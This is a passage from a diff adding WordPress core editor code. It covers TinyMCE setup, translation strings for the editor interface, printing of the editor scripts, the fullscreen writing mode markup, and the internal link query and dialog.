+				'menubar' => false,
+				'wpautop' => (bool) $set['wpautop'],
+				'indent' => ! $set['wpautop'],
+				'toolbar1' => implode($mce_buttons, ','),
+				'toolbar2' => implode($mce_buttons_2, ','),
+				'toolbar3' => implode($mce_buttons_3, ','),
+				'toolbar4' => implode($mce_buttons_4, ','),
+				'tabfocus_elements' => $set['tabfocus_elements'],
+				'body_class' => $body_class
+			);
+
+			if ( $first_run )
+				$mceInit = array_merge( self::$first_init, $mceInit );
+
+			if ( is_array( $set['tinymce'] ) )
+				$mceInit = array_merge( $mceInit, $set['tinymce'] );
+
+			/*
+			 * For people who really REALLY know what they're doing with TinyMCE
+			 * You can modify $mceInit to add, remove, change elements of the config
+			 * before tinyMCE.init. Setting "valid_elements", "invalid_elements"
+			 * and "extended_valid_elements" can be done through this filter. Best
+			 * is to use the default cleanup by not specifying valid_elements,
+			 * as TinyMCE contains full set of XHTML 1.0.
+			 */
+			if ( $set['teeny'] ) {
+
+				/**
+				 * Filter the teenyMCE config before init.
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param array  $mceInit   An array with teenyMCE config.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mceInit = apply_filters( 'teeny_mce_before_init', $mceInit, $editor_id );
+			} else {
+
+				/**
+				 * Filter the TinyMCE config before init.
+				 *
+				 * @since 2.5.0
+				 *
+				 * @param array  $mceInit   An array with TinyMCE config.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mceInit = apply_filters( 'tiny_mce_before_init', $mceInit, $editor_id );
+			}
+
+			if ( empty( $mceInit['toolbar3'] ) && ! empty( $mceInit['toolbar4'] ) ) {
+				$mceInit['toolbar3'] = $mceInit['toolbar4'];
+				$mceInit['toolbar4'] = '';
+			}
+
+			self::$mce_settings[$editor_id] = $mceInit;
+		} // end if self::$this_tinymce
+	}
+
+	private static function _parse_init($init) {
+		$options = '';
+
+		foreach ( $init as $k => $v ) {
+			if ( is_bool($v) ) {
+				$val = $v ? 'true' : 'false';
+				$options .= $k . ':' . $val . ',';
+				continue;
+			} elseif ( !empty($v) && is_string($v) && ( ('{' == $v{0} && '}' == $v{strlen($v) - 1}) || ('[' == $v{0} && ']' == $v{strlen($v) - 1}) || preg_match('/^\(?function ?\(/', $v) ) ) {
+				$options .= $k . ':' . $v . ',';
+				continue;
+			}
+			$options .= $k . ':"' . $v . '",';
+		}
+
+		return '{' . trim( $options, ' ,' ) . '}';
+	}
+
+	public static function enqueue_scripts() {
+		wp_enqueue_script('word-count');
+
+		if ( self::$has_tinymce )
+			wp_enqueue_script('editor');
+
+		if ( self::$has_quicktags ) {
+			wp_enqueue_script( 'quicktags' );
+			wp_enqueue_style( 'buttons' );
+		}
+
+		if ( in_array('wplink', self::$plugins, true) || in_array('link', self::$qt_buttons, true) ) {
+			wp_enqueue_script('wplink');
+		}
+
+		if ( in_array('wpfullscreen', self::$plugins, true) || in_array('fullscreen', self::$qt_buttons, true) )
+			wp_enqueue_script('wp-fullscreen');
+
+		if ( self::$has_medialib ) {
+			add_thickbox();
+			wp_enqueue_script('media-upload');
+		}
+
+		/**
+		 * Fires when scripts and styles are enqueued for the editor.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param array $to_load An array containing boolean values whether TinyMCE
+		 *                       and Quicktags are being loaded.
+		 */
+		do_action( 'wp_enqueue_editor', array(
+			'tinymce'   => self::$has_tinymce,
+			'quicktags' => self::$has_quicktags,
+		) );
+	}
+
+	/**
+	 * Translates the default TinyMCE strings and returns them as JSON encoded object ready to be loaded with tinymce.addI18n().
+	 * Can be used directly (_WP_Editors::wp_mce_translation()) by passing the same locale as set in the TinyMCE init object.
+	 *
+	 * @param string $mce_locale The locale used for the editor.
+	 * @param bool $json_only optional Whether to include the JavaScript calls to tinymce.addI18n() and tinymce.ScriptLoader.markDone().
+	 * @return string Translation object, JSON encoded.
+	 */
+	public static function wp_mce_translation( $mce_locale = '', $json_only = false ) {
+
+		$mce_translation = array(
+			// Default TinyMCE strings
+			'New document' => __( 'New document' ),
+			'Formats' => _x( 'Formats', 'TinyMCE' ),
+
+			'Headings' => _x( 'Headings', 'TinyMCE' ),
+			'Heading 1' => __( 'Heading 1' ),
+			'Heading 2' => __( 'Heading 2' ),
+			'Heading 3' => __( 'Heading 3' ),
+			'Heading 4' => __( 'Heading 4' ),
+			'Heading 5' => __( 'Heading 5' ),
+			'Heading 6' => __( 'Heading 6' ),
+
+			/* translators: block tags */
+			'Blocks' => _x( 'Blocks', 'TinyMCE' ),
+			'Paragraph' => __( 'Paragraph' ),
+			'Blockquote' => __( 'Blockquote' ),
+			'Div' => _x( 'Div', 'HTML tag' ),
+			'Pre' => _x( 'Pre', 'HTML tag' ),
+			'Address' => _x( 'Address', 'HTML tag' ),
+
+			'Inline' => _x( 'Inline', 'HTML elements' ),
+			'Underline' => __( 'Underline' ),
+			'Strikethrough' => __( 'Strikethrough' ),
+			'Subscript' => __( 'Subscript' ),
+			'Superscript' => __( 'Superscript' ),
+			'Clear formatting' => __( 'Clear formatting' ),
+			'Bold' => __( 'Bold' ),
+			'Italic' => __( 'Italic' ),
+			'Code' => _x( 'Code', 'editor button' ),
+			'Source code' => __( 'Source code' ),
+			'Font Family' => __( 'Font Family' ),
+			'Font Sizes' => __( 'Font Sizes' ),
+
+			'Align center' => __( 'Align center' ),
+			'Align right' => __( 'Align right' ),
+			'Align left' => __( 'Align left' ),
+			'Justify' => __( 'Justify' ),
+			'Increase indent' => __( 'Increase indent' ),
+			'Decrease indent' => __( 'Decrease indent' ),
+
+			'Cut' => __( 'Cut' ),
+			'Copy' => __( 'Copy' ),
+			'Paste' => __( 'Paste' ),
+			'Select all' => __( 'Select all' ),
+			'Undo' => __( 'Undo' ),
+			'Redo' => __( 'Redo' ),
+
+			'Ok' => __( 'OK' ),
+			'Cancel' => __( 'Cancel' ),
+			'Close' => __( 'Close' ),
+			'Visual aids' => __( 'Visual aids' ),
+
+			'Bullet list' => __( 'Bulleted list' ),
+			'Numbered list' => __( 'Numbered list' ),
+			'Square' => _x( 'Square', 'list style' ),
+			'Default' => _x( 'Default', 'list style' ),
+			'Circle' => _x( 'Circle', 'list style' ),
+			'Disc' => _x('Disc', 'list style' ),
+			'Lower Greek' => _x( 'Lower Greek', 'list style' ),
+			'Lower Alpha' => _x( 'Lower Alpha', 'list style' ),
+			'Upper Alpha' => _x( 'Upper Alpha', 'list style' ),
+			'Upper Roman' => _x( 'Upper Roman', 'list style' ),
+			'Lower Roman' => _x( 'Lower Roman', 'list style' ),
+
+			// Anchor plugin
+			'Name' => _x( 'Name', 'Name of link anchor (TinyMCE)' ),
+			'Anchor' => _x( 'Anchor', 'Link anchor (TinyMCE)' ),
+			'Anchors' => _x( 'Anchors', 'Link anchors (TinyMCE)' ),
+
+			// Fullpage plugin
+			'Document properties' => __( 'Document properties' ),
+			'Robots' => __( 'Robots' ),
+			'Title' => __( 'Title' ),
+			'Keywords' => __( 'Keywords' ),
+			'Encoding' => __( 'Encoding' ),
+			'Description' => __( 'Description' ),
+			'Author' => __( 'Author' ),
+
+			// Media, image plugins
+			'Insert/edit image' => __( 'Insert/edit image' ),
+			'General' => __( 'General' ),
+			'Advanced' => __( 'Advanced' ),
+			'Source' => __( 'Source' ),
+			'Border' => __( 'Border' ),
+			'Constrain proportions' => __( 'Constrain proportions' ),
+			'Vertical space' => __( 'Vertical space' ),
+			'Image description' => __( 'Image description' ),
+			'Style' => __( 'Style' ),
+			'Dimensions' => __( 'Dimensions' ),
+			'Insert image' => __( 'Insert image' ),
+			'Insert date/time' => __( 'Insert date/time' ),
+			'Insert/edit video' => __( 'Insert/edit video' ),
+			'Poster' => __( 'Poster' ),
+			'Alternative source' => __( 'Alternative source' ),
+			'Paste your embed code below:' => __( 'Paste your embed code below:' ),
+			'Insert video' => __( 'Insert video' ),
+			'Embed' => __( 'Embed' ),
+
+			// Each of these have a corresponding plugin
+			'Special character' => __( 'Special character' ),
+			'Right to left' => _x( 'Right to left', 'editor button' ),
+			'Left to right' => _x( 'Left to right', 'editor button' ),
+			'Emoticons' => __( 'Emoticons' ),
+			'Nonbreaking space' => __( 'Nonbreaking space' ),
+			'Page break' => __( 'Page break' ),
+			'Paste as text' => __( 'Paste as text' ),
+			'Preview' => __( 'Preview' ),
+			'Print' => __( 'Print' ),
+			'Save' => __( 'Save' ),
+			'Fullscreen' => __( 'Fullscreen' ),
+			'Horizontal line' => __( 'Horizontal line' ),
+			'Horizontal space' => __( 'Horizontal space' ),
+			'Restore last draft' => __( 'Restore last draft' ),
+			'Insert/edit link' => __( 'Insert/edit link' ),
+			'Remove link' => __( 'Remove link' ),
+
+			'Color' => __( 'Color' ),
+			'Custom color' => __( 'Custom color' ),
+			'Custom...' => _x( 'Custom...', 'label for custom color' ),
+			'No color' => __( 'No color' ),
+
+			// Spelling, search/replace plugins
+			'Could not find the specified string.' => __( 'Could not find the specified string.' ),
+			'Replace' => _x( 'Replace', 'find/replace' ),
+			'Next' => _x( 'Next', 'find/replace' ),
+			/* translators: previous */
+			'Prev' => _x( 'Prev', 'find/replace' ),
+			'Whole words' => _x( 'Whole words', 'find/replace' ),
+			'Find and replace' => __( 'Find and replace' ),
+			'Replace with' => _x('Replace with', 'find/replace' ),
+			'Find' => _x( 'Find', 'find/replace' ),
+			'Replace all' => _x( 'Replace all', 'find/replace' ),
+			'Match case' => __( 'Match case' ),
+			'Spellcheck' => __( 'Check Spelling' ),
+			'Finish' => _x( 'Finish', 'spellcheck' ),
+			'Ignore all' => _x( 'Ignore all', 'spellcheck' ),
+			'Ignore' => _x( 'Ignore', 'spellcheck' ),
+			'Add to Dictionary' => __( 'Add to Dictionary' ),
+
+			// TinyMCE tables
+			'Insert table' => __( 'Insert table' ),
+			'Delete table' => __( 'Delete table' ),
+			'Table properties' => __( 'Table properties' ),
+			'Row properties' => __( 'Table row properties' ),
+			'Cell properties' => __( 'Table cell properties' ),
+			'Border color' => __( 'Border color' ),
+
+			'Row' => __( 'Row' ),
+			'Rows' => __( 'Rows' ),
+			'Column' => _x( 'Column', 'table column' ),
+			'Cols' => _x( 'Cols', 'table columns' ),
+			'Cell' => _x( 'Cell', 'table cell' ),
+			'Header cell' => __( 'Header cell' ),
+			'Header' => _x( 'Header', 'table header' ),
+			'Body' => _x( 'Body', 'table body' ),
+			'Footer' => _x( 'Footer', 'table footer' ),
+
+			'Insert row before' => __( 'Insert row before' ),
+			'Insert row after' => __( 'Insert row after' ),
+			'Insert column before' => __( 'Insert column before' ),
+			'Insert column after' => __( 'Insert column after' ),
+			'Paste row before' => __( 'Paste table row before' ),
+			'Paste row after' => __( 'Paste table row after' ),
+			'Delete row' => __( 'Delete row' ),
+			'Delete column' => __( 'Delete column' ),
+			'Cut row' => __( 'Cut table row' ),
+			'Copy row' => __( 'Copy table row' ),
+			'Merge cells' => __( 'Merge table cells' ),
+			'Split cell' => __( 'Split table cell' ),
+
+			'Height' => __( 'Height' ),
+			'Width' => __( 'Width' ),
+			'Caption' => __( 'Caption' ),
+			'Alignment' => __( 'Alignment' ),
+			'H Align' => _x( 'H Align', 'horizontal table cell alignment' ),
+			'Left' => __( 'Left' ),
+			'Center' => __( 'Center' ),
+			'Right' => __( 'Right' ),
+			'None' => _x( 'None', 'table cell alignment attribute' ),
+			'V Align' => _x( 'V Align', 'vertical table cell alignment' ),
+			'Top' => __( 'Top' ),
+			'Middle' => __( 'Middle' ),
+			'Bottom' => __( 'Bottom' ),
+
+			'Row group' => __( 'Row group' ),
+			'Column group' => __( 'Column group' ),
+			'Row type' => __( 'Row type' ),
+			'Cell type' => __( 'Cell type' ),
+			'Cell padding' => __( 'Cell padding' ),
+			'Cell spacing' => __( 'Cell spacing' ),
+			'Scope' => _x( 'Scope', 'table cell scope attribute' ),
+
+			'Insert template' => _x( 'Insert template', 'TinyMCE' ),
+			'Templates' => _x( 'Templates', 'TinyMCE' ),
+
+			'Background color' => __( 'Background color' ),
+			'Text color' => __( 'Text color' ),
+			'Show blocks' => _x( 'Show blocks', 'editor button' ),
+			'Show invisible characters' => __( 'Show invisible characters' ),
+
+			/* translators: word count */
+			'Words: {0}' => sprintf( __( 'Words: %s' ), '{0}' ),
+			'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.' => __( 'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.' ) . "\n\n" . __( 'If you&#8217;re looking to paste rich content from Microsoft Word, try turning this option off. The editor will clean up text pasted from Word automatically.' ),
+			'Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help' => __( 'Rich Text Area. Press Alt-Shift-H for help' ),
+			'You have unsaved changes are you sure you want to navigate away?' => __( 'The changes you made will be lost if you navigate away from this page.' ),
+			'Your browser doesn\'t support direct access to the clipboard. Please use the Ctrl+X/C/V keyboard shortcuts instead.' => __( 'Your browser does not support direct access to the clipboard. Please use keyboard shortcuts or your browser&#8217;s edit menu instead.' ),
+
+			// TinyMCE menus
+			'Insert' => _x( 'Insert', 'TinyMCE menu' ),
+			'File' => _x( 'File', 'TinyMCE menu' ),
+			'Edit' => _x( 'Edit', 'TinyMCE menu' ),
+			'Tools' => _x( 'Tools', 'TinyMCE menu' ),
+			'View' => _x( 'View', 'TinyMCE menu' ),
+			'Table' => _x( 'Table', 'TinyMCE menu' ),
+			'Format' => _x( 'Format', 'TinyMCE menu' ),
+
+			// WordPress strings
+			'Keyboard Shortcuts' => __( 'Keyboard Shortcuts' ),
+			'Toolbar Toggle' => __( 'Toolbar Toggle' ),
+			'Insert Read More tag' => __( 'Insert Read More tag' ),
+			'Read more...' => __( 'Read more...' ), // Title on the placeholder inside the editor
+			'Distraction-free writing mode' => __( 'Distraction-free writing mode' ),
+			'No alignment' => __( 'No alignment' ), // Tooltip for the 'alignnone' button in the image toolbar
+			'Remove' => __( 'Remove' ), // Tooltip for the 'remove' button in the image toolbar
+			'Edit ' => __( 'Edit' ), // Tooltip for the 'edit' button in the image toolbar
+		);
+
+		/**
+		 * Link plugin (not included):
+		 *	Insert link
+		 *	Target
+		 *	New window
+		 *	Text to display
+		 *	The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?
+		 *	The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?
+		 *	Url
+		 */
+
+		if ( ! $mce_locale ) {
+			$mce_locale = self::$mce_locale;
+		}
+
+		/**
+		 * Filter translated strings prepared for TinyMCE.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param array  $mce_translation Key/value pairs of strings.
+		 * @param string $mce_locale      Locale.
+		 */
+		$mce_translation = apply_filters( 'wp_mce_translation', $mce_translation, $mce_locale );
+
+		foreach ( $mce_translation as $key => $value ) {
+			// Remove strings that are not translated.
+			if ( $key === $value ) {
+				unset( $mce_translation[$key] );
+				continue;
+			}
+
+			if ( false !== strpos( $value, '&' ) ) {
+				$mce_translation[$key] = html_entity_decode( $value, ENT_QUOTES, 'UTF-8' );
+			}
+		}
+
+		// Set direction
+		if ( is_rtl() ) {
+			$mce_translation['_dir'] = 'rtl';
+		}
+
+		if ( $json_only ) {
+			return wp_json_encode( $mce_translation );
+		}
+
+		$baseurl = self::$baseurl ? self::$baseurl : includes_url( 'js/tinymce' );
+
+		return "tinymce.addI18n( '$mce_locale', " . wp_json_encode( $mce_translation ) . ");\n" .
+			"tinymce.ScriptLoader.markDone( '$baseurl/langs/$mce_locale.js' );\n";
+	}
+
+	public static function editor_js() {
+		global $tinymce_version, $concatenate_scripts, $compress_scripts;
+
+		/**
+		 * Filter "tiny_mce_version" is deprecated
+		 *
+		 * The tiny_mce_version filter is not needed since external plugins are loaded directly by TinyMCE.
+		 * These plugins can be refreshed by appending query string to the URL passed to "mce_external_plugins" filter.
+		 * If the plugin has a popup dialog, a query string can be added to the button action that opens it (in the plugin's code).
+		 */
+		$version = 'ver=' . $tinymce_version;
+		$tmce_on = !empty(self::$mce_settings);
+
+		if ( ! isset($concatenate_scripts) )
+			script_concat_settings();
+
+		$compressed = $compress_scripts && $concatenate_scripts && isset($_SERVER['HTTP_ACCEPT_ENCODING'])
+			&& false !== stripos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip');
+
+		$mceInit = $qtInit = '';
+		if ( $tmce_on ) {
+			foreach ( self::$mce_settings as $editor_id => $init ) {
+				$options = self::_parse_init( $init );
+				$mceInit .= "'$editor_id':{$options},";
+			}
+			$mceInit = '{' . trim($mceInit, ',') . '}';
+		} else {
+			$mceInit = '{}';
+		}
+
+		if ( !empty(self::$qt_settings) ) {
+			foreach ( self::$qt_settings as $editor_id => $init ) {
+				$options = self::_parse_init( $init );
+				$qtInit .= "'$editor_id':{$options},";
+			}
+			$qtInit = '{' . trim($qtInit, ',') . '}';
+		} else {
+			$qtInit = '{}';
+		}
+
+		$ref = array(
+			'plugins' => implode( ',', self::$plugins ),
+			'theme' => 'modern',
+			'language' => self::$mce_locale
+		);
+
+		$suffix = ( defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ) ? '' : '.min';
+
+		/**
+		 * Fires immediately before the TinyMCE settings are printed.
+		 *
+		 * @since 3.2.0
+		 *
+		 * @param array $mce_settings TinyMCE settings array.
+		 */
+		do_action( 'before_wp_tiny_mce', self::$mce_settings );
+		?>
+
+		<script type="text/javascript">
+		tinyMCEPreInit = {
+			baseURL: "<?php echo self::$baseurl; ?>",
+			suffix: "<?php echo $suffix; ?>",
+			<?php
+
+			if ( self::$drag_drop_upload ) {
+				echo 'dragDropUpload: true,';
+			}
+
+			?>
+			mceInit: <?php echo $mceInit; ?>,
+			qtInit: <?php echo $qtInit; ?>,
+			ref: <?php echo self::_parse_init( $ref ); ?>,
+			load_ext: function(url,lang){var sl=tinymce.ScriptLoader;sl.markDone(url+'/langs/'+lang+'.js');sl.markDone(url+'/langs/'+lang+'_dlg.js');}
+		};
+		</script>
+		<?php
+
+		$baseurl = self::$baseurl;
+		// Load tinymce.js when running from /src, else load wp-tinymce.js.gz (production) or tinymce.min.js (SCRIPT_DEBUG)
+		$mce_suffix = false !== strpos( $GLOBALS['wp_version'], '-src' ) ? '' : '.min';
+
+		if ( $tmce_on ) {
+			if ( $compressed ) {
+				echo "<script type='text/javascript' src='{$baseurl}/wp-tinymce.php?c=1&amp;$version'></script>\n";
+			} else {
+				echo "<script type='text/javascript' src='{$baseurl}/tinymce{$mce_suffix}.js?$version'></script>\n";
+				echo "<script type='text/javascript' src='{$baseurl}/plugins/compat3x/plugin{$suffix}.js?$version'></script>\n";
+			}
+
+			echo "<script type='text/javascript'>\n" . self::wp_mce_translation() . "</script>\n";
+
+			if ( self::$ext_plugins ) {
+				// Load the old-format English strings to prevent unsightly labels in old style popups
+				echo "<script type='text/javascript' src='{$baseurl}/langs/wp-langs-en.js?$version'></script>\n";
+			}
+		}
+
+		/**
+		 * Fires after tinymce.js is loaded, but before any TinyMCE editor
+		 * instances are created.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param array $mce_settings TinyMCE settings array.
+		 */
+		do_action( 'wp_tiny_mce_init', self::$mce_settings );
+
+		?>
+		<script type="text/javascript">
+		<?php
+
+		if ( self::$ext_plugins )
+			echo self::$ext_plugins . "\n";
+
+		if ( ! is_admin() )
+			echo 'var ajaxurl = "' . admin_url( 'admin-ajax.php', 'relative' ) . '";';
+
+		?>
+
+		( function() {
+			var init, edId, qtId, firstInit, wrapper;
+
+			if ( typeof tinymce !== 'undefined' ) {
+				for ( edId in tinyMCEPreInit.mceInit ) {
+					if ( firstInit ) {
+						init = tinyMCEPreInit.mceInit[edId] = tinymce.extend( {}, firstInit, tinyMCEPreInit.mceInit[edId] );
+					} else {
+						init = firstInit = tinyMCEPreInit.mceInit[edId];
+					}
+
+					wrapper = tinymce.DOM.select( '#wp-' + edId + '-wrap' )[0];
+
+					if ( ( tinymce.DOM.hasClass( wrapper, 'tmce-active' ) || ! tinyMCEPreInit.qtInit.hasOwnProperty( edId ) ) &&
+						! init.wp_skip_init ) {
+
+						try {
+							tinymce.init( init );
+
+							if ( ! window.wpActiveEditor ) {
+								window.wpActiveEditor = edId;
+							}
+						} catch(e){}
+					}
+				}
+			}
+
+			if ( typeof quicktags !== 'undefined' ) {
+				for ( qtId in tinyMCEPreInit.qtInit ) {
+					try {
+						quicktags( tinyMCEPreInit.qtInit[qtId] );
+
+						if ( ! window.wpActiveEditor ) {
+							window.wpActiveEditor = qtId;
+						}
+					} catch(e){};
+				}
+			}
+
+			if ( typeof jQuery !== 'undefined' ) {
+				jQuery('.wp-editor-wrap').on( 'click.wp-editor', function() {
+					if ( this.id ) {
+						window.wpActiveEditor = this.id.slice( 3, -5 );
+					}
+				});
+			} else {
+				for ( qtId in tinyMCEPreInit.qtInit ) {
+					document.getElementById( 'wp-' + qtId + '-wrap' ).onclick = function() {
+						window.wpActiveEditor = this.id.slice( 3, -5 );
+					}
+				}
+			}
+		}());
+		</script>
+		<?php
+
+		if ( in_array( 'wplink', self::$plugins, true ) || in_array( 'link', self::$qt_buttons, true ) )
+			self::wp_link_dialog();
+
+		if ( in_array( 'wpfullscreen', self::$plugins, true ) || in_array( 'fullscreen', self::$qt_buttons, true ) )
+			self::wp_fullscreen_html();
+
+		/**
+		 * Fires after any core TinyMCE editor instances are created.
+		 *
+		 * @since 3.2.0
+		 *
+		 * @param array $mce_settings TinyMCE settings array.
+		 */
+		do_action( 'after_wp_tiny_mce', self::$mce_settings );
+	}
+
+	public static function wp_fullscreen_html() {
+		global $content_width;
+		$post = get_post();
+
+		$width = isset( $content_width ) && 800 > $content_width ? $content_width : 800;
+		$width = $width + 22; // compensate for the padding and border
+		$dfw_width = get_user_setting( 'dfw_width', $width );
+		$save = isset( $post->post_status ) && $post->post_status == 'publish' ? __('Update') : __('Save');
+
+		?>
+		<div id="wp-fullscreen-body" class="wp-core-ui<?php if ( is_rtl() ) echo ' rtl'; ?>" data-theme-width="<?php echo (int) $width; ?>" data-dfw-width="<?php echo (int) $dfw_width; ?>">
+		<div id="fullscreen-topbar">
+			<div id="wp-fullscreen-toolbar">
+			<div id="wp-fullscreen-close"><a href="#" onclick="wp.editor.fullscreen.off();return false;"><?php _e('Exit fullscreen'); ?></a></div>
+			<div id="wp-fullscreen-central-toolbar" style="width:<?php echo $width; ?>px;">
+
+			<div id="wp-fullscreen-mode-bar">
+				<div id="wp-fullscreen-modes" class="button-group">
+					<a class="button wp-fullscreen-mode-tinymce" href="#" onclick="wp.editor.fullscreen.switchmode( 'tinymce' ); return false;"><?php _e( 'Visual' ); ?></a>
+					<a class="button wp-fullscreen-mode-html" href="#" onclick="wp.editor.fullscreen.switchmode( 'html' ); return false;"><?php _ex( 'Text', 'Name for the Text editor tab (formerly HTML)' ); ?></a>
+				</div>
+			</div>
+
+			<div id="wp-fullscreen-button-bar"><div id="wp-fullscreen-buttons" class="mce-toolbar">
+		<?php
+
+		$buttons = array(
+			// format: title, onclick, show in both editors
+			'bold' => array( 'title' => __('Bold (Ctrl + B)'), 'both' => false ),
+			'italic' => array( 'title' => __('Italic (Ctrl + I)'), 'both' => false ),
+			'bullist' => array( 'title' => __('Unordered list (Alt + Shift + U)'), 'both' => false ),
+			'numlist' => array( 'title' => __('Ordered list (Alt + Shift + O)'), 'both' => false ),
+			'blockquote' => array( 'title' => __('Blockquote (Alt + Shift + Q)'), 'both' => false ),
+			'wp-media-library' => array( 'title' => __('Media library (Alt + Shift + M)'), 'both' => true ),
+			'link' => array( 'title' => __('Insert/edit link (Alt + Shift + A)'), 'both' => true ),
+			'unlink' => array( 'title' => __('Unlink (Alt + Shift + S)'), 'both' => false ),
+			'help' => array( 'title' => __('Help (Alt + Shift + H)'), 'both' => false ),
+		);
+
+		/**
+		 * Filter the list of TinyMCE buttons for the fullscreen
+		 * 'Distraction-Free Writing' editor.
+		 *
+		 * @since 3.2.0
+		 *
+		 * @param array $buttons An array of TinyMCE buttons for the DFW editor.
+		 */
+		$buttons = apply_filters( 'wp_fullscreen_buttons', $buttons );
+
+		foreach ( $buttons as $button => $args ) {
+			if ( 'separator' == $args ) {
+				continue;
+			}
+
+			$onclick = ! empty( $args['onclick'] ) ? ' onclick="' . $args['onclick'] . '"' : '';
+			$title = esc_attr( $args['title'] );
+			?>
+
+			<div class="mce-widget mce-btn<?php if ( $args['both'] ) { ?> wp-fullscreen-both<?php } ?>">
+			<button type="button" aria-label="<?php echo $title; ?>" title="<?php echo $title; ?>"<?php echo $onclick; ?> id="wp_fs_<?php echo $button; ?>">
+				<i class="mce-ico mce-i-<?php echo $button; ?>"></i>
+			</button>
+			</div>
+			<?php
+		}
+
+		?>
+
+		</div></div>
+
+		<div id="wp-fullscreen-save">
+			<input type="button" class="button button-primary right" value="<?php echo $save; ?>" onclick="wp.editor.fullscreen.save();" />
+			<span class="wp-fullscreen-saved-message"><?php if ( $post->post_status == 'publish' ) _e('Updated.'); else _e('Saved.'); ?></span>
+			<span class="wp-fullscreen-error-message"><?php _e('Save failed.'); ?></span>
+			<span class="spinner"></span>
+		</div>
+
+		</div>
+		</div>
+	</div>
+	<div id="wp-fullscreen-statusbar">
+		<div id="wp-fullscreen-status">
+			<div id="wp-fullscreen-count"><?php printf( __( 'Word count: %s' ), '<span class="word-count">0</span>' ); ?></div>
+			<div id="wp-fullscreen-tagline"><?php _e('Just write.'); ?></div>
+		</div>
+	</div>
+	</div>
+
+	<div class="fullscreen-overlay" id="fullscreen-overlay"></div>
+	<div class="fullscreen-overlay fullscreen-fader fade-300" id="fullscreen-fader"></div>
+	<?php
+	}
+
+	/**
+	 * Performs post queries for internal linking.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array $args Optional. Accepts 'pagenum' and 's' (search) arguments.
+	 * @return false|array Results.
+	 */
+	public static function wp_link_query( $args = array() ) {
+		$pts = get_post_types( array( 'public' => true ), 'objects' );
+		$pt_names = array_keys( $pts );
+
+		$query = array(
+			'post_type' => $pt_names,
+			'suppress_filters' => true,
+			'update_post_term_cache' => false,
+			'update_post_meta_cache' => false,
+			'post_status' => 'publish',
+			'posts_per_page' => 20,
+		);
+
+		$args['pagenum'] = isset( $args['pagenum'] ) ? absint( $args['pagenum'] ) : 1;
+
+		if ( isset( $args['s'] ) )
+			$query['s'] = $args['s'];
+
+		$query['offset'] = $args['pagenum'] > 1 ? $query['posts_per_page'] * ( $args['pagenum'] - 1 ) : 0;
+
+		/**
+		 * Filter the link query arguments.
+		 *
+		 * Allows modification of the link query arguments before querying.
+		 *
+		 * @see WP_Query for a full list of arguments
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $query An array of WP_Query arguments.
+		 */
+		$query = apply_filters( 'wp_link_query_args', $query );
+
+		// Do main query.
+		$get_posts = new WP_Query;
+		$posts = $get_posts->query( $query );
+		// Check if any posts were found.
+		if ( ! $get_posts->post_count )
+			return false;
+
+		// Build results.
+		$results = array();
+		foreach ( $posts as $post ) {
+			if ( 'post' == $post->post_type )
+				$info = mysql2date( __( 'Y/m/d' ), $post->post_date );
+			else
+				$info = $pts[ $post->post_type ]->labels->singular_name;
+
+			$results[] = array(
+				'ID' => $post->ID,
+				'title' => trim( esc_html( strip_tags( get_the_title( $post ) ) ) ),
+				'permalink' => get_permalink( $post->ID ),
+				'info' => $info,
+			);
+		}
+
+		/**
+		 * Filter the link query results.
+		 *
+		 * Allows modification of the returned link query results.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @see 'wp_link_query_args' filter
+		 *
+		 * @param array $results {
+		 *     An associative array of query results.
+		 *
+		 *     @type array {
+		 *         @type int    $ID        Post ID.
+		 *         @type string $title     The trimmed, escaped post title.
+		 *         @type string $permalink Post permalink.
+		 *         @type string $info      A 'Y/m/d'-formatted date for 'post' post type,
+		 *                                 the 'singular_name' post type label otherwise.
+		 *     }
+		 * }
+		 * @param array $query  An array of WP_Query arguments.
+		 */
+		return apply_filters( 'wp_link_query', $results, $query );
+	}
+
+	/**
+	 * Dialog for internal linking.
+	 *
+	 * @since 3.1.0
+	 */
+	public static function wp_link_dialog() {
+		$search_panel_visible = '1' == get_user_setting( 'wplink', '0' ) ? ' search-panel-visible' : '';
+
+		// display: none is required here, see #WP27605
+		?>
+		<div id="wp-link-backdrop" style="display: none"></div>
+		<div id="wp-link-wrap" class="wp-core-ui<?php echo $search_panel_visible; ?>" style="display: none">
+		<form id="wp-link" tabindex="-1">
+		<?php wp_nonce_field( 'internal-linking', '_ajax_linking_nonce', false ); ?>
+		<div id="link-modal-title">
+			<?php _e( 'Insert/edit link' ) ?>
+			<button type="button" id="wp-link-close"><span class="screen-reader-text"><?php _e( 'Close' ); ?></span></button>
+	 	</div>
+		<div id="link-selector">
+			<div id="link-options">
+				<p class="howto"><?php _e( 'Enter the destination URL' ); ?></p>
+				<div>
+					<label><span><?php _e( 'URL' ); ?></span><input id="url-field" type="text" name="href" /></label>
+				</div>
+				<div>
+					<label><span><?php _e( 'Title' ); ?></span><input id="link-title-field" type="text" name="linktitle" /></label>
+				</div>
+				<div class="link-target">
+					<label><span>&nbsp;</span><input type="checkbox" id="link-target-checkbox" /> <?php _e( 'Open link in a new window/tab' ); ?></label>
+				</div>
+			</div>
+			<p class="howto"><a href="#" id="wp-link-search-toggle"><?php _e( 'Or link to existing content' ); ?></a></p>
+			<div id="search-panel">
+				<div class="link-search-wrapper">
+					<label>
+						<span class="search-label"><?php _e( 'Search' ); ?></span>
+						<input type="search" id="search-field" class="link-search-field" autocomplete="off" />
+						<span class="spinner"></span>
+					</label>
+				</div>
+				<div id="search-results" class="query-results" tabindex="0">
+					<ul></ul>
+					<div class="river-waiting">
+						<span class="spinner"></span>
+					</div>
+				</div>
+				<div id="most-recent-results" class="query-results" tabindex="0">
+					<div class="query-notice" id="query-notice-message">
